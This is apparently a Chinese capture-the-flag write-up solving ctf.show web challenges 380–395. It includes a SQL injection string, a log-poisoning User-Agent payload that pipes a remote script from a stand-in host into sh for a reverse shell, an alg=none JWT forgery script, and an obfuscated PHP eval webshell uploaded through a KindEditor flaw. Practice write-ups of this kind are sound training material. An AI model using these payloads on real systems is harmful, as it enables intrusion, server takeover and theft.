目录
web380-dirsearch扫目录
简单的看了一下,没有发现可以交互的地方,先扫描一下目录吧
python3 dirsearch.py -u http://1b98d9d4-b675-40d5-8822-202d7fa11ace.challenge.ctf.show/
扫描出两个目录flag.php和page.php。
先访问flag.php为空,查看源代码为空。
访问page.php,出现报错,应该需要传一个id参数,访问对应的php文件。
Notice: Undefined index: id in /var/www/html/page.php on line 16
打开$id.php失败
Payload:
右键查看源代码即可获得flag
http://1b98d9d4-b675-40d5-8822-202d7fa11ace.challenge.ctf.show/page.php?id=flag
web381-源码找后台
界面跟上题差不多,先扫目录,还是page.php,不过没扫出来flag.php,上题的思路行不通。
检查源代码发现一个奇怪的目录,alsckdfy,访问试试,得到flag。
<link rel="stylesheet" href="layui/css/layui.css">
<link rel="stylesheet" href="layui/css/global.css">
<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
web382-sql注入
按照上题思路获得后台地址后,尝试登录
Payload:
一句话搞定
1' or 1=1#
web383-sql注入+
用上面的payload即可
web384-sql注入++
根据提示密码前两位为小写字母,后三位为数字
字典生成脚本
import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p=i+j+k+l+m
f.write(p+"\n")
f.close()
用户名我们就默认为admin,爆出来的密码为xy123。
web385-敏感文件
扫目录发现/install
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
在382中我们可以sql注入,查询数据库发现用户名密码为admin:admin888,猜测admin888就是默认密码。
web386-敏感文件+
扫描目录发现clear.php,直接访问显示清理完成,猜测有个参数指定要清理的文件。
/clear.php?file=index.php
再次访问index.php发现文件已被删除,我们将lock.dat文件删除即可,后续步骤与上题一致。
Payload:
/clear.php?file=./install/lock.dat
web387-日志包含
扫描目录发现robots.txt
disallow:/debug
访问/debug显示file not exit,根据前面几题的经验猜测需要传file参数
/debug/?file=/var/log/nginx/access.log
发现日志包含成功,反弹shell,在check.php中发现flag。
User-Agent:<?php system('curl https://your-shell.com/xxxx:6666 | sh');?>
web388-日志包含+
这题对写日志做了一些限制,但反弹shell依然可以成功,与上题一样。
web389-JWT伪造(非预期)
将alg改为none,sub改为admin,这样的话就不需要校验签名了。
脚本:
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1669958188,
"exp": 1669965388,
"nbf": 1669958188,
"sub": "admin",
"jti": "9859b26b89e203ab6f26445677c1e933"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
Payload:
若在网站根目录写入1.html会重定向,我们可以将2.html写入/alsckdfy/目录下即可正常访问
User-Agent : <?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/alsckdfy/1.html');?>
web390-做法与上题一致
web391-做法与上题一致
由于389开始用的都是非预期的解法,所以步骤都一样,想看预期解可以去b站看群主的视频。
web392-预期解
flag不在check.php中,换思路。
扫/alsckdfy/目录发现存在/alsckdfy/editor/,打开发现是Kindeditor编辑器。
kindeditor编辑器版本小于4.1.5存在文件上传漏洞,可利用该漏洞上次网页、文本文件。
上传一句话木马,后缀修改为.zip
<?php
#这样写起到了免杀的效果
$s='<?ph'.'p ev'.'al($_PO'.'ST[1])'.';?>';
file_put_contents('/var/www/html/2.php',$s);
?>
上传成功后编辑器会返回上传路径,利用返回的路径去dubug进行文件包含。
/debug/?file=/var/www/html/alsckdfy/attached/file/20221202/20221202082119_17656.zip
web393-同上
web394-同上
解法一样,不过flag不在根目录了,在check.php中。
web395-同上
总结:
很多题我都用了同一种解法,其实题目的解法有好几种,sql注入,文件包含,SSRF都可以使用。
本文章仅做参考。